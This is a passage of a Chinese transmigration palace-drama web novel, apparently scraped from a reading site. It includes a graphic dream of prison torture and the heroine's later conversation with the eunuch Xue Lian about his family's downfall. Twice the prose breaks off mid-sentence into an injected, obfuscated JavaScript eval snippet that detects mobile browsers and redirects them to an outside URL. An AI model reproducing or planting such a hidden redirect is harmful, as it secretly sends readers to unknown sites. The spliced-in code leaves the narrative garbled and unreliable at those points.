“行行行,你少说几句不行吗,我还能蹭脏咱们凯凯?”爸爸嘴上吐槽,身体却很自觉地起身,拍了拍身上的灰尘,转身进卫生间洗手去了。 凯凯? 这是…… 云昭昭呆呆地站在原地,脸上的表情都冻住了,眼角挂着两道泪水流下的沟壑,看上去既可怜又滑稽。 幸好,这里没有任何人能看到她这副丑样子。 这时,家里的大门吱啦一声响,云昭昭应声看过去,见到一个壮实的小男孩像颗炮弹似地冲进家门。 他穿着一身附近小学的短袖校服,剃着板正的寸头,胖乎乎的脸蛋上长着一对和爸爸一模一样的浓眉大眼,厚实的嘴唇和圆润的下巴则是遗传的妈妈。 云昭昭知晓看一眼便可知道,这是她未曾谋面的弟弟。 进了屋门后,小男孩连鞋也顾不上脱,直接汲着鞋,鞋带散着,将书包一个空中飞抛,就扔到了沙发上,大喇喇地抽开椅子,坐在餐桌上,扒拉一只妈妈卤的最大的鸭腿啃了起来,顷刻间便啃得满嘴满手都是油。 “慢点,我的小祖宗!别没洗手就啃!赶紧给我洗手去!”妈妈嘴上骂着,眼睛却弯弯得眯成了月牙状。 爸爸立刻逮住这个与自己年龄相差四十多岁的儿子,将他拖到水龙头前,仔仔细细地替他洗手。可见,这才是他真正的宝贝疙瘩。 父子俩默契又亲昵,反而让站在客厅中央的云昭昭有了一种进了别人家的错觉。 她像个误闯阳间的孤魂野鬼一般,看着三人坐在餐桌前你一言我一语地吃着午饭,那其乐融融的景象是云昭昭从未见到过的。 突然,她余光瞥见餐桌对面的那面墙了挂着一张大大的全家福,相框簇新,一看就是日常维护得很好。而照片上只有爸爸妈妈,还有弟弟三个人。 云昭昭心口一阵绞痛,她再也忍不住,蹲在客厅里哭了起来,但任凭她哭得再难看,再声嘶力竭,也没人听得见,更没人在乎。 等她哭累了再次抬头时,周围有些年代感的屋子逐渐瓦解,被一系列华贵精美,流光溢彩的中式古典家具所取代。 只是那汝窑的瓷器,北宋的字画,还有那各色珊瑚、和田玉雕的小摆件,粲然生辉的金银器,都像是路边摊上九块九处理的小商品一样,被胡乱地堆在地上,亦或是塞在几口大箱子里,满得都要溢出来了。 数百名训练有素的锦衣卫将偌大的府邸围得水泄不通。为首一人,身穿大红飞鱼补纱,脚踩流云渡金靴,头戴金冠,腰佩玉带,生得玉树临风,龙章凤姿,眉眼里却氤氲着一团散不开的寒气,如三九寒冬里连天的冰云,他薄唇微抿,不苟言笑,正严厉地命令着手下将府中之人拿下。 这不是周徵又是何人?或者应该说,这是身为锦衣卫指挥使的周徵。 他是何时官复原职的?云昭昭见到他心里只有这一个疑问。 接着,她见到云琛披散着头发,踉跄地跌坐在地上,一向纵横捭阖、见多识广的他虽不至于完全失态,但也不似从前那般气定神闲、游刃有余。 他眉宇间添了不少或深或浅的皱纹,沧桑之态更甚,与那市井中奔走讨生活的老翁没什么区别。 柳氏则钗环散了一头,她虽保养得当,眉眼仍能看出昔日的风情,可久居后宅,她哪里见得这等抄家灭族的场面,整个人早已吓得花容失色,只能连滚带爬地移动至周徵脚边,向他苦苦哀求,希望能网开一面。 可是周徵哪里会再看她一眼,只见他冷淡地将脚一抬,像是避开腌臜的垃圾一般嫌弃地无视了柳氏的哀求,并吩咐手下道:“将人都拿下!给我搜干净点儿,务必将云氏卖官售爵,党同伐异的罪证都给我搜查出来!” 谁知云琛却说:“我云某虽广交结友,喜好招揽青年门生,但我为官多年,辅佐两朝帝君,可从来未曾做过那卖官售爵的欺君背主之事来,过去云某力推提拔的人哪一个不是有真才实学的?且交友甚广就难免有人打着云某的旗号排斥异己,云某管的了自己却管不了别人!” 周徵听后,轻蔑一笑,冷声道:“陛下说了有便就是有。既然没有,那便给我伪造出来!” 他这副无情的模样,哪里还像是云昭昭所认识的那个周徵,反而与那诏狱上冷冰冰的石狴犴一模一样。 可即便是那狴犴也是为世间清白而存在,可他周徵呢?却只是君王手中,替他玩弄权术的一把菜刀。 想当初他在卧室中挂上那幅于少保的绝句激励自己,可如今,他的所作所为,还对得起那上面字字泣血的声嘶怒吼吗? 云昭昭气得不行,当场冲上去就想拽住周徵的衣领,狠狠地质问他。 可当她一要碰到周徵时,身体却像是一阵烟一般,虚虚地直接穿过了他。 且周围不管是云琛还是柳氏,还是来来往往忙着搜查抄家的锦衣卫,都像是看不到她似的。 云昭昭这才意识到不对。 难道自己已经死了么? 很快,训练有素的锦衣卫就将云府翻了个底儿朝天。刀剑无眼,他们由不得云琛做任何解释,也不顾柳氏拼了命般地为家中仆从求情,只冷血地让他们到诏狱中再去申辩。 云琛与柳氏像是屈辱的俘虏一般,被扒光了衣服,只剩亵衣地押走。府中剩下的百余名仆妇,死的死,流放的流动,发卖为奴的发卖为奴,曾经煊赫一时的府邸,顷刻间血流成河,哀嚎一片,最后只剩下颓败的高墙内空荡萧索的庭院与断壁残垣。 眼前的景物再次坍塌,瓦解…… 淡蓝的天,洁白的云,以及云府里那些没人打理而疯狂生长的绿植全部被黑暗所取代。 幽暗潮湿的地底深处,阴风阵阵,刺耳的惨叫声此起彼伏,那些受尽折磨的囚犯像是死去的烂肉一般被扔在牢房中的破草席上,伤得伤,残的残。 他们中的绝大多数人,都是朝堂上,亦或是京城中炙手可热的人物,可现在却与草席下滋生的蛆虫无异,苟延残喘,连求死都是奢望。 锦衣卫非要留着他们一口气,让他们体会真正的黑暗和绝望。 这里才是真正的阿鼻地狱。 而漆黑牢房的外面,走道左侧尽头有一处亮着灯的小房间,方才女人的尖叫声便是从这里面传来的。 房间的墙上挂着各种各样的刑具,数量之多,放在后世,便可成为彻头彻尾的刑具“博物馆”了。 云昭昭之前是进过这个房间的,里面是锦衣卫专门用来刑审要犯的刑审室。 但此时此刻,不算小的石室里,一张冰冷坚硬的椅子上,一名脸色苍白,披散着头发的女子身穿粗布囚服,纤细的手脚被异常粗壮的铁链拴着。 她正用恨入骨髓的语气诅咒着坐在对面的那个男人。 “周徵,你这个猪狗不如的禽兽!不愧是卖国贼之后,苟且偷生到现在,还不是只会将刀尖对准自己的同胞!早晚有一天你会后悔的!你会遭报应的!” 那女子发了狠地骂着,心中积累的怨毒与恨意让她恨不得化作最可怖的厉鬼将对面的男人撕碎。 而周徵面对这样的诅咒,却不为所动,仿佛是在听着属下向自己汇报事情一般平淡。 他冷着一张脸,只有嘴唇轻微地动了动。 “我只问你,指使人去害忻贵人腹中龙子的便是你吧?” 对面的女子没有回答,像是与他在各说各的一样,继续道:“他们都怕你惧你,但本宫可不怕!本宫从小到大,最不怕的就是你们这些魑魅魍魉!何况现在,本宫连死都不怕!你欺本宫父母,抄云氏满门,死了更好!死了本宫就可以化作厉鬼,找你这个贱种,找易琉璃那个贱人索命了!” 说着她猛然抬头,有些癫狂地大笑起来。 这是云昭昭第一次直视自己穿书后这具身体的脸。从一个旁观者的角度,她才知道书里的原身所拥有的,是怎样一种摄人心魄的美丽。 哪怕她嘴里说着最恶毒的话,脸上做着最夸张的表情,发出最狰狞可怖的笑声,但同为女人的自己,也照样会被那张脸吸引,更别说男人。 要不是原身有这样的容貌,否则厌恶云氏至极的赵昶,也不会破例让原身入宫——有些稀罕却不讨喜的东西,宁可在自己手里被砸碎,也不愿意留给别人。 但面对这样的原身,周徵却不为所动,又不甚耐心地重复道:“我的耐心非常有限,刚才那些只是开胃菜,再最后问你一遍,谋害忻贵人腹中龙子的罪魁祸首是你罢?是,还是不是?!” 原身的笑声戛然而止,苍白如纸的面上现出一丝凄楚,像是自言自语般喃喃着。 “人都要死了,是又如何,不是又如何,反正横竖都是死,到头来本宫对陛下的一番痴心却还不如易琉璃那个贱人的一根头发,正好就让她肚子里那个孽种给本宫陪葬!” 云昭昭大喇喇地站在石室的中央,作为一个旁观者旁听,但与之前一样,没有一个人能够感受到她的存在。 她大概已经成了一个孤魂野鬼了吧。 而从刚才看见原身时,云昭昭便反应过来,现在她所面对的,大概就是书中原身获罪时在诏狱里被折辱致死的剧情。 不过她在一旁越听越气,只觉得这原身简直是恋爱脑深入骨髓,无可救药了。 她口中的忻贵人正是书中因为有孕获得册封的易琉璃。书中作恶多端的原身,也正是在云家倒台后害易琉璃的第一个孩子小产,而让赵昶有了名正言顺处死她的理由。 曾经的云昭昭在看到这里的时候只觉得大快人心,可真正深入其中,认识了云琛柳氏等诸多书中人物后,她只觉得可悲可恨。 这个被爱情蒙蔽了双眼的女人,到死都还在纠结那些原本就虚无缥缈的情爱,眼里只有那个虚伪又刚愎自用的赵昶。 连自己的家族覆灭,连自己的亲生父母冤死,也无动于衷,甚至还不如自己这个外人。 而周徵听了原身那一番发言后,显然耐心也已到了尽头。他冷漠地命令属下给原身上梳洗之刑。 这种残酷的刑罚,云昭昭在书里听说过,知道是要先用滚烫的热水浇在犯人身上,再用梳子反复梳那被烫伤的皮肤。 在她眼里这种刑罚虽然残酷,却比真正惨无人道的凌迟和历史上锦衣卫自创的“弹琵琶”还是要好上很多的。 但今日站在行刑的现场她才发现,原来那滚烫的热水,是不偏不倚,正好烧到100度沸腾的水。这样还冒着泡的沸水浇在原身娇嫩的身体上不亚于烈火炙烤。 只见两名锦衣卫依照周徵的吩咐,将原身的身体死死按住,紧接着,又有一人端着一盆沸水,直接就往那一大片裸1露的后背上淋了下去。 “嘶——” 沸水淋下的一瞬间,云昭昭感觉后背传来强烈的灼烧感,疼得她眼泪第一时间涌了出来。而从小养尊处优的原身更是疼得叫了出来,云昭昭泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303200|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼婆娑地看着她背上被烫得通红,起了一大片的水泡。 随着一盆一盆的沸水淋在原身的背上,云昭昭被烫得跌坐在刑室冰冷的地面上,她终于意识到,可能是因为在这个世界跟原身共用过一具身体的原因,凡是作用在原身身上的刑罚,自己也同样能够感受得到。 接连不断的几盆沸水淋下去,别说是女子细腻的肌肤,就算是再厚再韧的牛皮也照样会被烫熟。 第一道程序结束后,由不得片刻喘息,立马又有锦衣卫拿着梳子上来开始对着几乎被烫熟的皮肤进行反复刷洗。 锦衣卫行刑的梳子不是普通的木梳,而是用精铁打制而成,梳齿尖端被削得格外锋利,使劲一梳下去,便是皮开肉绽的感觉,疼得云昭昭几乎快要晕厥过去,更别说原身了,早就被疼得发出撕心裂肺的惨叫。 “说不说?”周徵的语气依旧平静,仿佛只是在问原身吃不吃饭这样的事。 但原身倒是很有些骨气,即使到了这种地步,她也依旧不退让一步地恨着易琉璃。 “好。”周徵只说了这么一个字。 原本云昭昭只听说过前两道流程,谁知周徵很快便命人将这梳洗之刑的第三道程序拿了上来。 ——这回是一把再普通不过的,用马鬃做成的刷子。 如果说前者是如同凌迟般的剧痛,那到了这一步,就是如虫蚁啃噬般,深入骨髓的痒。 到了最后,原身背上原本白皙如凝脂般的皮肤表面早已变成了血肉模糊的肉泥…… 周徵问她话时,她几乎红了眼,像野兽一样,口中依旧只有更加凶狠的一个“滚”字。 宁死不屈。 而感受着她的感受的云昭昭,终于明白了所谓的求生不能,求死不得是什么感觉。 她难受得几近失去神智,时而觉得自己在一旁看着,时而又觉得受刑的人就是自己本人。 周徵冷漠得没有人气儿的问话再次萦绕在她耳边的时候,云昭昭撕扯着嗓子,用着比刚才原身更加凶狠的语气,回敬道:“说了……咳咳,不是我,就……不是我!滚!滚啊!!!” 似乎是从未见过在锦衣卫的酷刑下如此顽强的女子,面前的这个周徵略微惊讶地张了张嘴,眼里也有了一丝敬畏之色。 可惜只有那么一刹那。 随后,云昭昭便听见了他更加不近人情的命令声: “将她翻一个面,继续一遍刚才的流程。” 接着,她的小腹,人身体上最柔弱的部分,被沸水一遍一遍地浇淋,然后是铁梳,再是细密的鬃毛刷…… 死比这好受多了,或者像是其他刑犯一样招了。 可是,她明明没做错什么啊?! 为什么要她来为这一切负责呢?! 为什么命运总是不愿意放过她呢?! 云昭昭既是自己在身临其境地经历着这一切,又是一个局外人在看着那个受刑的“自己”。 她是那样鲜艳夺目,哪怕即将死去,也不肯渐渐枯萎,宁愿昂首挺胸,迎着风霜雪雨,像个骄傲的战士一样离开! 她早已被折磨得神智混乱,甚至分不清自己是谁,但在混乱中仍不忘嘶吼着喊道:“我没错!要我认命……咳咳……下辈子吧!” 也正是这样的挣扎与歇斯底里,让对面男人冰雕一般的脸上,终于有了些许动摇。 可惜她没能欣赏多久,便再次被黑暗吞没……又不知道过了多久,耳边才终于隐隐约约传来说话声。 是个好听的女声,但却又焦急又带着哭腔,似乎遇到了什么难以解决的问题。 “薛提督,都这么多天了,小姐她怎么还是不醒啊……她,她不会真的,再也醒不过来了吧?” 她说完,云昭昭感觉到有一只温暖的、带着淡淡香气的小手轻轻抚过自己的脸颊,凑到自己鼻尖,探了探自己的鼻息。 “别乱说。张太医来看过,阁老与夫人派来的女医也来过,都说伤得虽深,但未波及心脉等要害之处,还有救。她受了那么重的伤,失了那么多血,一时半会醒过来也是正常的……” 一个语气略显老气横秋,音色却格外清亮尖细的男声说道。 “我倒希望她晚一点醒过来,等伤口好了,疼痛过去,那些让她熬心费力的人和事也都过去……” 那男声说到这里叹了口气,突然抬高了语调,坚定地说:“我决定了,这次不管怎么样,不管她同意与否,我都要带昭昭离开这里!” “离开?这能行吗?”女声有些担忧地说。 “只有这样了。”男声道,“赵昶因为遇刺的事现在怕得要死,带着刚查出有身孕的忻贵人缩在北郊行宫不出来。那边守卫森严,锦衣卫基本全部跟去了,就连禁军也被他调走了大部分,还留在宫里的则要保障太后的安全。所以除了慈宁宫,其他地方,都很不安全。” “可,可宫里这么多人呢……万一真的有什么贼人来,那不就……”女子又急又怕地说,“薛提督,如果你带小姐走了,那老爷和夫人可怎么办?” 男子闻言,似乎十分为难。过了半晌,他终于狠下心来,沉声道:“我也管不了了……” “你说什么?!”女子惊讶不已。 “我说我也管不了了。”男子重复了一遍,“现今之计,只有走方为上计!” 说着他又细细分析,并且越说越气愤: “现在朝堂上已因为陛下遇刺这事吵得不可开交,如何处理,全看陛下的意思。可笑的是,昭昭赌上性命替赵昶挡刀,而赵昶却仍想着他的党争,还想着如何除掉阁老,除掉朝廷上违逆他的那些人!” “很明显,之前你去找太医,太医拖拖拉拉,两个时辰都不肯来,就是受了上面的旨意。我听司礼监那边说,赵昶甚至巴不得昭昭死掉……霜姑娘你想想,昭昭是阁老的掌上明珠,就这样白白地死去,他怎么能甘心,怎么能咽的下这口气?到时候,赵昶就可以名正言顺地对云家动手,毕竟周徵执掌着京中四大营,他应该早有准备,到时候他再追封昭昭为皇后,既全了自己重情重义的美名,又拔去了云家这根眼中钉、肉中刺!” “啊?陛……他这么盼着小姐死,那等小姐醒来了,岂不是不随他的意了?那该怎么办?” “所以,只有我带她走了……这可能还需要霜姑娘帮忙。” “可,可我……我也只是个丫头,我做不了主啊!” “不必妄自菲薄,这些时日你待昭昭的心,我看在眼里,如今京城的局势风云变幻,朝廷内混乱不堪,阁老都自顾不暇,现在霜姑娘你就是昭昭身边唯一说得上话的人了。放心,我会带昭昭远下江南,去一个没人认识我们的地方,我会对她好一辈子……” 听薛炼分析得如此细致,流霜也大致明白了现下的局势。又见薛炼如此情真意切地对小姐,她突然觉得这个身体残缺的男人比起小姐身边的赵昶周徵等人,要靠谱多了。 至少他甘愿冒着危险保护小姐,也看得出来他真心实意地爱着小姐,让他带着小姐走……或许也不失为一个好办法。毕竟小姐的幸福安康,在老爷夫人心中才是最重要的。 流霜想了一通后便下了决心,就在她准备答应薛炼的时候,她突然听见云昭昭虚弱地开口,说道:“我不走……” 72. 生路 流霜一惊,立刻看向躺在床上的小姐。 只见云昭昭的睫毛动了几下,随后她甚为艰难地睁开眼,微张着干裂的嘴唇,声音哑涩地又重复了一遍刚才的话:“我,我不跟你走……” “小姐!”流霜见她醒过来了,激动得眼泪都掉了下来,“小姐,你终于醒了!” “昭昭,你醒了。”站在她身边的薛炼温柔地说,眼中也尽是惊喜之色,虽然云昭昭好不容易醒来开口说的前两句话,就是拒绝他的提议。 云昭昭想要撑着起床,可刚一动身体,小腹处便传来钻心刺骨的剧痛,疼得她呲牙咧嘴,不由地倒吸一口凉气。 “小姐,你可不要动啊!”流霜连忙上前阻拦住她的动作,并解释说,“太医和女医都看过了,你这伤口太深,千万不能乱动再撕扯开,得好好静养才是。” 还好稍微动动胳膊并不影响,手探到小腹处,那里已经像包粽子一样被严严实实地包扎了起来。 云昭昭只好认命,再不敢轻举妄动,只好老老实实地平躺在榻上。 又静躺了片刻,她才从那种恍惚的不真实感中逐渐脱离。 头顶,是她每天早上睁开眼就会看到昭阳殿的藻井。 藻井从边缘往里是层层叠叠的斗拱,用金漆绘制了缠枝莲纹样,穹顶最中央嵌着一块通体莹白的巨型玉石,被打磨成平滑的光面。上面雕刻的图案,云昭昭还专门请教过太后,是“班姬辞辇”、“明德和丸”、“樊姬进贤”与“许后奉案”的典故,以浅浮雕勾勒,与金漆斗拱相映,尽显后宫懿德。这是昭阳殿所独有的藻井,别处再难以复刻。 身下,是择床的她已经睡习惯了的绵软锦被。 被面绣着浅淡的兰草纹,是她入宫时柳氏差人为她缝的冰丝云锦被,作为陪嫁一起带入的昭阳殿,锦被摸上去柔滑细腻,裹着身子很是舒服,冬暖夏凉,处处潜藏着一个母亲的殷殷舐犊之情。 往别处看去,靠窗的位置立着一架博古架,上面整齐地码着几摞话本子,还有一尊青铜小鼎,鼎中飘着一缕青烟——往日流霜每日早起第一件事便是往里添新香。如今她卧病也不例外,淡淡的沉香气息萦绕在殿中,让人安心。 更远的地方,满殿的陈设,没有过分的奢华,却处处透着雅致,都是她入宫这段时间一点一点亲手布置的。此刻看着这些熟悉的物件,她心中的恍惚渐渐消散,只剩下安稳的沉静。 而榻边活生生站着的流霜与薛炼,亮晶晶的眼中满是她的倒影,并没有将她忽视。 所以之前所见到的种种,大概都是她生死弥留之际,所看到的幻象吧。 不过她还是心有余悸,有些不确定地将手从被子里朝流霜伸了过去。 这一次,她稳稳地抓住了流霜的手。 不是假的!也不是在梦里! 温热的泪水再也不受控制地流了出来,云昭昭有些委屈,但更多的还是一种劫后余生的欣喜。 至少,梦里关于这个世界的一切都是假的;至少,在这里她所珍视的家人与朋友都还一如既往,没有面目全非,也还没有遭受迫害。不知道是哪位神仙大罗,在她疼得昏迷不醒的时候,用梦的方式,给她开了一个恶作剧般的玩笑。 意识到这一点后,她那在梦里都狠狠揪着的一颗心,才彻底地松了绑。 流霜对云昭昭的醒来简直激动不已,她忙前忙后,像只不辞辛劳的小蜜蜂一般,为她温茶擦脸,对她嘘寒问暖。 看着流霜明显乌青的眼睑和瘦得凹陷的颧骨,云昭昭清楚自己受伤昏迷的这些时日里,她一定是最累也最焦急的。而自己刚穿越到这本书中世界时,也是流霜第一个表现出了惊喜。 云昭昭心疼地看着流霜,她很想摸摸她的脸,但碍于自己的伤,也只好退而求其次地紧紧握住了她的手,甚至连流霜准备喂她喝药的事后也不愿意放开。 流霜看着她醒来后有些孩子气的举动,只好哭笑不得地哄着:“小姐,该喝药了,你看你,伤得那么重,还不好好喝药呢,这药凉了,药效又要减半!在床上躺了十日了还不够吗?” “太苦了嘛……”云昭昭大言不惭地吐了吐舌头,随后才后知后觉地捕捉到流霜话里的信息,“等等,你说我已经睡了十天了?” “可不是吗小姐,你已经睡了十天了。你为了替陛下挡刀,不顾自己的性命,把我们都吓坏了。”说到这里流霜更加难受,“而且,女医说……” 流霜说到这里欲言又止,神色有些复杂,但云昭昭的全部关注点都在自己昏迷了十天上。 要知道,她之前可是信誓旦旦地答应了赵昶,十日之内定会查清汀雪背后的主人,给他一个交代。 结果现在她查是查得差不多了,但还没来得及告诉他就出了意外,如今醒来已早过了那十日的期限了。 因此她忙不迭地问道:“爹和娘,他们还好吗?” 流霜以为她只是简单地关心他们,便诚实地说:“很不好,老爷夫人都急坏了。听说老爷平时那么镇定从容的人,知道你受伤后恨不得当场杀进宫里来,还说要是能让时光倒流,他绝对不会同意让你进宫……” 云昭昭听后大大地松了口气。 还好,还好赵昶还算有一点儿良心,知道她受伤昏迷,没有卡着那十日时间处决云家。这也不枉她当时豁出去性命挡下了汀雪的那一刀。 汀雪也不知道如何了,但想来当时有周徵在场,又惊动了那么多人,不可能让她逃了。 云昭昭没有向流霜打听她的下落,也不想再听到有关她的任何事情。 其实,当时就算她不替赵昶挡那一刀,汀雪也不会刺中赵昶的。 可若是这样,便彻底地遂了晴妃她们的意。 虽然汀雪一开始就是东瀛处心积虑安插在云府的棋子,但在大多数人眼里汀雪依旧是她云昭昭的人。在这个节骨眼上,她冒着必死的心来刺杀赵昶,想来也是为了打出云氏狼子之心、意欲谋反的旗号,也应了之前霍婕妤所说的刺杀,这样便可挑拨得赵昶再也忍不住对云氏出手。 所以,在当时那样的千钧一发之际,她唯一能做的,只有以肉身替赵昶挡下那并不致命的一刀。 她在赌。 赌赵昶碍于所谓天命君王的头衔,不敢明着过河拆桥,对护驾有功的自己家人动手;也赌赵昶不好再将计就计地把汀雪的刺杀,算在云家的头上。 目前看来,她算是至少赌赢了一半。 这时,站在流霜身旁的薛炼轻轻地咳嗽了一声,似乎有话想说。 云昭昭会意,回想起自己醒过来前听到的薛炼的话,便让流霜暂时出去,她正好也想同薛炼单独聊聊。 流霜走后,薛炼却不急着开口。云昭昭发现他定定地盯着自己,那眼神里氤氲着的情愫是什么意思,她再清楚不过。 可她偏偏没法动弹,只能作为一条砧板上挺尸的咸鱼,任人处置。 “那个……”被看得尴尬,她也只好干巴巴地开口,“你先说……” 结果薛炼几乎也是在同一时间说出了同样的话。说完他意识到自己与昭昭的默契,呼吸一滞,双颊微红。 而云昭昭心里则除了尴尬还是尴尬,她悻悻地干咳一声,别过头去,“薛提督,你先说,你先说,请~” 薛炼被她逗乐了,只当她是害羞,眼里斟满柔情,轻声说:“昭昭,你听我说。带着你离开这里,并不只是我的一己之私,如今时局复杂,非我等之力可以左右。 你睡着的日子里,陛下去了北郊行宫,锦衣卫与禁军基本都去了,整个皇宫如今与一座空城无异。而突厥三日前才举兵进犯了凉州、雍州等地,掠夺一番后虽被聂家军打退,但……不排除他们会着趁京城无主,守备空虚之时给大周一个措手不及…… 我看赵昶那厮,并没有把宫里这些嫔妃当回事,忻贵人是腹中有龙子,才被允许一同前往行宫,其余人在他眼里不过是随时可弃的袍子。就连太后都没能前去行宫,虽然昭文皇后才是他的生母,但太后膝下无子,也养了他这么多年……” “所以到时候万一京中发生……呃……一些变故,”薛炼一下子有些吞吐,语气也变得古怪,“到时候你一个弱女子在宫里不是必死无疑吗?” 说到这里,薛炼觉得自己已解释得差不多了,便认真道:“所以昭昭,趁着这段安宁日子,你先好好养伤,等你伤好以后,就跟我走吧,我们去四川,去江南,或者去你想去的任何地方……” 云昭昭没回应他,只是侧了侧头,严肃地盯着他,问:“你说京中会发生变故,是什么变故?” 薛炼眼神有些躲闪,只好敷衍道:“这个……我也不便说,总之不会是什么好事。我……我也是道听途说的,你就别问了。” 不问这个,云昭昭还有别的要问。“你说你要带我走,我爹我娘可知道?” 薛炼以为她这么问便是要答应了,眼里霎时亮了,立刻如小鸡啄米般拼命点头。 “知道的,这其实不是我一个人的意思,这也是阁老的意思,他要我这段时间必定护着你的平安。至于去江南,去四川……确实是我的一点私心,但我以为你会喜欢,毕竟上次能够出宫,你好像……还挺开心的。” “我知道了。”云昭昭语气冷静,“所以,我爹要你护着我,是因为他准备起兵吗?” 刚才还沉浸在未来的幻想乡里的薛炼,闻言脸上的笑意瞬间凝固了。他不可思议地看着云昭昭,咽了咽口水,问道:“你……你怎么知道?阁老他,不是说了要对你保密的吗?” 云昭昭笑了笑,她怎么知道?当然是那次出宫回云府的时候,她发现府里的不少珍宝都被拿去变卖了之后,便有了这种猜测,如今看来,她果然猜对了。 云琛纵横朝堂几十年,任兵部尚书时还曾干过调兵遣将的事,他绝不是那种坐以待毙之人,而现在的他,则有些过于安静了。 于是她如实回答:“我猜的。” “你,你猜的?”薛炼更加震惊,他发现,自己远远低估了眼前这个女子的胆识与眼见。 他又想起那一日争执时周徵所言,昭昭不是一朵需要人保护的娇花,她是一颗树的种子…… 现在看来,恐怕周徵才是对的。 而自己却仗着过去与她的一些交集,自以为很懂她,却忘了人都是会变的。 就比如自己,隐姓埋名,残缺了身体,过去那个锦衣玉食的公子哥早就死了,取而代之的是一个苟延残喘的奴仆。 所以过去那个娇气可爱,跟在他的屁股后面叫哥哥,随时都需要人呵护的小女孩,怎么就不能变成眼前这个聪明冷静,独立又坚强的女子呢? 心里涌上一股酸涩之意,但薛炼还是面上不显,再次说了一遍刚才的提议,只是这次她的语气里多了几分恳求之意。 “昭昭,既然你都猜到了,何必还要留在这里呢?阁老不放心你,未来,更是凶险莫测,你就让我带你走吧,好吗?” 云昭昭看着薛炼一双黑瞳里快要溢出的情愫,在心里叹了口气,开门见山地问道:“薛炼,你心悦‘我’是么?” 薛炼瞳孔一震,随即被她的直白弄得有些尴尬,只好坦诚道:“是。我心悦于你,昭昭。” 他苦笑了一下,又说:“虽然我知道,现在的我已经没有资格站在你身边。但我确实从小时候,从我们第一次见面时就心悦于你了。你……应当还记得我吧?” 果然,就像云昭昭猜的那样,这位薛炼薛提督跟原身过去有些瓜葛,他倾慕于她,而且看样子,他们还是类似青梅竹马那种关系。 只是原身在原书中毕竟是个配角,故事中期就下了线,所以关于她的描述与生平,比起女主易琉璃来说可谓十分有限。她的过去,书里唯一的形容就是她娇生惯养,是云府的掌上明珠。 所以面对薛炼的提问,云昭昭只能轻轻摇了摇头,“……我不记得了。” “也罢。”薛炼苦笑道,“毕竟离我家出事也已经过去六七年了,况且我还换了个名字。” 但他并没有就此作罢,反而为了让云昭昭想起来,他向他讲了自己家里的事。 原来,薛炼并非他的本名。 他的真实身份乃前光禄寺卿崔承德之子崔言。 崔承德祖上便是大名鼎鼎的清河崔氏,到了大周朝时期,崔氏虽已没落,煊赫不在,但这样的世家大族,可谓是百足之虫死而不僵,就算是旁支别系,在京中也远比那些小官小吏的门楣要清贵得多。 而崔承德是与云琛一同及第的同年,那一年的殿试中,云琛中了状元,而崔承德惜败成为探花,两人才学相当,又惺惺相惜,故而私交甚好。所以后来每每云府设宴,定少不了崔家的光临。而崔家也常常邀请云琛一家前去崔府小坐。 崔言乃崔承德独子,上面还有三个姐姐,只比原身略大了两岁。因此两个小孩常常见面,总角年纪便玩在一处,确实如云昭昭所想,是名副其实的青梅竹马。 只是后来崔承德在乾元十四年的祭典上冲撞了当时还是太子的赵昶,事后受到了先帝的痛批。不服气的他后来在与好友作诗时借古讽今,暗戳戳地点评赵昶难堪大任,又指责先帝虚伪偏心。 结果这首诗不知怎么的传到了先帝耳朵里,惹得先帝大怒,当即要诛崔承德九族。后来,还是云琛在先帝面前苦苦替好友求情,才劝得先帝将诛九族改成了全家流放。 但在流放途中,崔家还是没能幸免于难,在锦衣卫隐蔽的追杀下,几乎全部死在了流放途中,只有崔言最小的三姐带着他逃走了。姐弟俩作为通缉犯,只能隐姓埋名。为了生计,三姐只好在青楼里卖艺为生,后来三姐病故,崔言便进宫成了太监,只为寻机会替家人复仇。 结果他还真的寻到了这么一个机会。 在崔言入宫的第三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308243|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,在一次招待高丽使节的宫宴上,他因为干事得力被临时派往了尚膳监工作。在那里,他瞅准了机会将提前准备好的一小包砒霜撒到了先帝的百花糕里。 可惜阴差阳错,有尚膳监的小太监偷了先帝的糕点食用,当场毒发而亡。 崔言被管事的大太监揪了出来,先是一通毒打,然后就准备送他去宫正司等候发落。而那晚因为人多事杂,便让崔言寻到了机会逃了。 也就是那个时候,浑身是血的他,遇到了因公事耽搁而姗姗来迟赴宴的云琛。云琛认出了崔言,并偷偷保下了他,并为他安排,让他改名。他便给自己起名为薛炼,薛是他母亲的姓氏,炼为百炼成钢的磨砺,也时刻提醒着他过往。 云昭昭听着薛炼的讲述,唏嘘不已。 崔承德说得其实并没错,他赵昶就算不是用来掉包的“狸猫”,心思秉性也确实配不上太子之位。崔承德评价他难堪大任,实属批评得轻了点儿。 只是当时先帝被当初太子降生所谓天降甘霖的祥瑞之象冲昏了头,又为了彰显自己对已故昭文皇后的深情,所以才对这个“假太子”格外地宽容以及偏心。 崔家的覆灭,其实也可归因为乾元六年的那一场阴差阳错。 这是薛炼第一次对除了云琛以外的人讲述起自己这些不堪回首的过往。 说完之后,他温声问道:“昭昭,你现在记起来了吧?” 刚才在讲述过程中,他就见云昭昭边听边若有所思,以为她是记起来了他们小时候相处的点点滴滴。 所以现在这么一问,他的眉梢不觉扬了起来,眸中含着一丝欣喜与期盼,期待地等着云昭昭的回答。 结果哪曾料想,云昭昭的回答给了他重重一拳。 “不,我不记得了。”她甚为肯定地说。 